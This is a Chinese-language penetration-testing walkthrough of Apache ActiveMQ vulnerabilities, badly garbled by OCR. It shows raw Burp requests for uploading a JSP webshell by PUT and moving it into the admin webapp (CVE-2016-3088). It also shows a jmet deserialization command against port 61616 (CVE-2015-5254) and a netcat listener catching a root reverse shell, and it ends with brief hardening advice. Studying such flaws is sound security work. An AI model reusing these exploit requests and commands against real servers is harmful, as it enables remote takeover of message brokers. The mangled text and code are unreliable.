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1. Console f#7EER A TRTER A B0/ RAZALT 7] CERIA 25Dy admin:admin)
ActiveMQ ERINEH 8161 i 1, {5 H nmap %f H Arik 55 25 47444

[root@localhost src]# nmap -A -p8161 192.168.197.25

Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST

Nmap scan report for 192.168.197.25

Host is up (0.00016s latency).

PORT STATE SERVICE VERSION

8161/tcp open http Jetty httpd 7.6.7.v20120910

|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
| http-auth: HTTP/1.1 401 Unauthorized

I

|_basic realm=ActiveMQRealm

| _http-title: Error 401 Unauthorized
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Home | Queunes | Topics | Subscribers | Connections | Network | Scheduled | Send Support

Welcome! B Queue Views

= Graph
Welcome to the ActiveMQ Console of localhost (ID:localhost.localdomain-46122-1509001570407-0:1) e
You can find more Information about ActiveMQ on the Apache ActiveMQ Site B Topic Views
s XML
€ .
Broker Subscribers
Name localhost Views
= XML
Version 5.7.0
D 1D:localhost.localdomain-46122-1509001570407-0:1 B Useful Links
Uptime 23.114 seconds : lF):cumenlation
= Downloads
Store percent used 0 = Forums

Memory percent used 0

Temp percent used o
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Request Raw:

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161

Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test

Response Raw:

HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file
or directory)

Content-Length: @

Server: Jetty(7.6.7.v20120910)



Burp Intruder Repeater Window Help

[ Target | Proxy [ Spicer | Scanner | itruder | Repester | Sequencer | Decoder | Comparer | Extender | Options | Alerts | NoPE Proxy |

[ Jamls T+ L]
Go || Cancel | | <iv || >|v Target: huup:/192.168.197.25:8161 | ﬂj?
Request Response
mlhmlﬂmn[mxl Raw Kudm[mx]
PUT /fileserver/a 0B/, %08/, %0B/N08 WTTP/Y, 1 I HTTP/1,1 500 /data’/apache-activeng-5. 7. 0/webapps/fileserver (No .
Host: 192, 168 197, 26:8161 o such file or directory) r
Authorization: Basic YWRtaWASYNRLaNA= Content-Length: 0
Content-Length: 4 Server: Jetty(7. 6.7, v20120910]
test
- -
v v
‘?‘< 0i>l'~ 0 matches ‘?‘(J0‘>i'4-»“ 0 matches
Done 153 bytes | 1,002 millis

3. ActiveMQ PUT 1F& 4 A& IR R

ActiveMQ ZRINTF R PUT J5ik, 4 fileserver 7 7ER 3 ATTAT PL_EAE jsp webshell.

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64;

Firefox/56.0

rv:56.0) Gecko/20100101

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26

this is jsp webshell code.

Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)




Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder TRepeate! T Sequencer T Decoder TComparer IExtender Tommns Alerts | NoPE Proxy ]
[Tz Ja]e - |-

Go Cancel | [ < [v ][ >]v Target: http:/192.168.197.25:8161 @@

Request Response

Raw | Params | Headers | Hex [ XML Raw | Headers | Hex

PUT /fileserver/1. jsp HTTP/1. 1] ‘A HTTP/1.1 204 No Content &
Host: 192.168.197.25:8161 I Server: Jetty(7.6.7.v20120910) r
User-Agent: Mozilla/5.0 (Windows NT &.1; Winé4; xé4; rv:56.0) Gecko/20100101
Firefox/56.0
Accept: text/html,application/xhtml+xml, application/xml:g=0.9, */*;q=0.8
Accept-Language: zh-CN, zh:q=0. 8, en-US:0=0. 5, en:0=0. 3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 7585
<jsp:root xmins: jsp="http://java. sun. com/JSP/Page”
xmins="http://waw. w3. org/1999/xhtml" xmlIns:c="http://java. sun. com/ jsp/jstl/core"
version="1.2"><{jsp:directive. page contentType="text/htm!" pageEncoding="UTF-8"
/><jsp:directive. page import="java. io *"/>(jsp:directive. page
import="java. util. *"/><jsp:directive. page
import="java. net. *"/><jsp:directive. page
import="java. sql. *"/><jsp:directive. page
import=" java. text. *"/><jsp:dec|aration>String Pad="1":String cs="UTF-8";String
EC(String s)throws Exception({return new
String(s. getBytes ("1S0-8859-1"), cs) :}Connection GC(String s)throws
Exception{String[
x=s.trim(}.split("\r\n"};Class. forName (x[0]. trim(}}; if (x[1]. index0f (" jdbc:oracle”
) 1==1) {return
DriverManager. getGonnection (x[1]. trim() x[4], x[2]. equalsignoreCase (" [/nul 1]")
2" :x(2],%[3]. equalslignoreGase (" [/nul1] :x[3]} ;] else [Connection
©=DriverManager. getConnection(x[1]. trim .equalslgnoreCase (" [/nul1]") x[2
1, x[3]. equalslgnoreCase ("[/nul11") 2" ":x[3]1) : if (x. length>4) {c. setCatalog (x[4]) :lre
turn ¢:llvoid AA(StringBuffer sb)throws Exception(File b L
r[J=File. listRoot t v v

(=== EJ Type a search form 0 matches EJ EJ [IJ EJ Type a search ferm 0 matches

Done £9 bytes | 12 millis

— A& IR [B] 204 i NAS BRI AT, ZEE A EARAN AT put AEERT, R [5]4 404 5% 500,
put 5%, & service FHI{E R

[root@localhost fileserver]# pwd
/data/apache-activemg-5.7.0/webapps/fileserver
[root@localhost fileserver]# ls

index.html META-INF shell.jsp WEB-INF
[root@localhost fileserver]# cat shell.jsp

this is jsp webshell code.

4. ActiveMQ T2 T U #5 3h i TR
ActiveMQ B& T 3 HF PUT B2 4h, &%+ MOVE 4.

Request Raw:

MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp

Host: 192.168.197.25:8161

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.09) Gecko/20100101
Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1




Authorization: Basic YWRtaW46YWRtaW4d=
Content-Length: 17

Content-Length: ©

Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner [ Intruder TRepeatar T Sequencer [ Decoder TComparer IExtender TOonns Alerts | NoPE Proxy ]
1x (2% |3 [4x] .

Go Cancel | [ < [v ]| >|v Target: hitp://192.168.197.25:8161 @@ I

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

MOVE /fileserver/1. jsp HTTP/1.1 HTTP/1.1 204 No Content
Destination:file: /data/apache-activema-5. 7. 0/webapps/admin/1. jsp Server: Jetty (7. 6.7.v20120910)
Host: 192.168.197.25:8161

User-Agent: Mozilla/5.0 (Windows NT 6.1; Winéd; x64; rv:56.0} Gecko/20100101
Firefox/56.0

Accept: text/html, application/xhtml+xml, application/xml;g=0.9, */*;q=0. 8
Accept-Language: zh-CN, zh:q=0. B, en-US;q=0. 5, en:q=0. 3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: |

Content-Length: 17

T
T

Content-Length: 0

- 3
v v

0 matches ? < + >

0 matches

Done £9 bytes | 12 millis

R 55 #5455 BT

[root@localhost fileserver]# ls

index.html META-INF shell.jsp WEB-INF
[root@localhost fileserver]# cat shell.jsp
this is jsp webshell code.

[root@localhost fileserver]# ls

index.html META-INF shell.jsp WEB-INF
[root@localhost fileserver]# ls

index.html META-INF WEB-INF
[root@localhost fileserver]# cd ..
[root@localhost webapps]# 1s

admin demo favicon.ico fileserver index.html styles
[root@localhost webapps]# cd admin/
[root@localhost admin]# 1ls



1.jsp
slave.jsp topics.jsp
404 .html
styles WEB-INF
500.html decorators
subscribers.jsp

browse.jsp

test

graph.jsp

connection.jsp

connections.jsp

images META-INF queues.jsp
index.jsp network.jsp scheduled. jsp
js queueConsumers.jsp send.jsp
message.jsp queueGraph.jsp shell.jsp
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CVE {5 &: CVE-2016-3088

5. ActiveMQ &7 41t (CVE-2015-5254)

ActiveMQ ZRIAXTAMT S 61616 i 1, ERiAA ActiveMQ ¥ B BA B ki [

FLrR AR — /NI il

(1) T.E releaes 125 JDK 1.7, Wi E 2 build 7 541
C2)d F T H 75 B4E 2400 H 3¢ F8JE—1> external H 3%, 75 4> 1B NoSuchFileException,
It #iE payload, a] BA A & 3% 5 B4k s 203 2 A A1

[root@sevck_v3 ~]# java

-jar jmet-0.1.0-all.jar

-Q event

-I ActiveMQ -s

"python /tmp/test.py" -Yp "CommonsCollectionsl" 192.168.197.25 61616

-Y




INFO d.c.j.t.IMSTarget [main] Connected with ID: 1ID:sevck v3.0-45938-
1516678757604-0:1

INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollectionsl" with command:
"python /tmp/test.py"

INFO d.c.j.t.IMSTarget [main] Shutting down connection ID:sevck _v3.0-45938-
1516678757604-0:1

[root@sevck_v3 ~l# java -Jar Jmet-8.1.@-all.jar -Q event -I ActiveMQ -s -Y "python /tmp/test.py” -Yp "CommonsCollectionsl®™ 192.168.

[root@sevck_v3 ~1# I

A S A il -

ActiveMQ =

Home | Queunes | Topics | Subscribers | Connections | Network | Scheduled | Send

Browse event

Message ID fgrrelatlon Persistence Priority Redelivered _;l!splv Timestamp Type Operations
Iﬁ’gaf?”_“”'pc' 2017-10-27
1500096100303~ Persistent 4 false (1:;%21:40:495 Delete

1:1

View Consumers

JIR 55 45 B W -

[root@Esevck linux ~]# nc -ww -1 123¢

Connection from _-= port 1234 [tcp/search-agent] accepted
sh: no job control in this shell

sh-4.1# id

id

uid=8{root) gid=0(root) groups=8{root)

sh-4.1# pwd

p'n\'d
/data/apache-activemg-5.7.8/bin
sh-4.1# |

VE: W R OR R AT RE R JR R JAVA Runtime.getRuntime().exec() P ANAEAT F &84,
AT — IR f

He#E T H . http://jackson.thuraisamy.me/runtime-exec-payloads.html

LA A . Apache ActiveMQ 5.13.0 [IRRAS 2 BT AELE ST F14k

CVE {§ 5. CVE-2015-5254

6. ActiveMQ 15 5ttt JR i (CVE-2017-15709)

TEBCHT A A apache-activemq-5.15.0 to apache-activemq-5.15.2 fll apache-activemq-
5.14.0to apache-activemqg-5.14.5 #1 61616 BKiAfi /| 7 OpenWire 11, F¥/3 /' debug &
3, debug AR ERIERGFHKE R


http://jackson.thuraisamy.me/runtime-exec-payloads.html

[root@localhost bin]# 1s

Loading
sing ]
N Starting -
INFO: pidfile created : '/da
[root@localhost binle telnet
8.1...

rporation, 0S: Linux,

‘ProviderVersion 5.
Connection closed by foreign
[root@localhost bin]# i

-64 mMacosx W

nd log4j.prope to get details
vemg.pid® (pid '18131')

bled CacheSize
ProviderName ActiveMQStackTraceEnabledPlatformDetails VIVM: 1.8.0_151, 25.151-bl2, Oracle Co

386
CacheEnabledTightEncodingEnabled
MaxFrameSize@MaxInactivityDurationu® MaxInactivityDurationInitalDelay

SR fA . Apache ActiveMQ 5.14.0 - 5.15.2
CVE {5 &: CVE-2017-15709
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1. EFXFRAZATT IR, WEE confljetty.xml /4, bean id }y securityConstraint K ]
authenticate &4 {i M true, )i AR5 RIAT

2. EFxtE504, alEEk confljetty.xml {4, beanid iy securityLoginService K conf {&
SR S properties, SEH /1 4% %0, =S AR S RIAT
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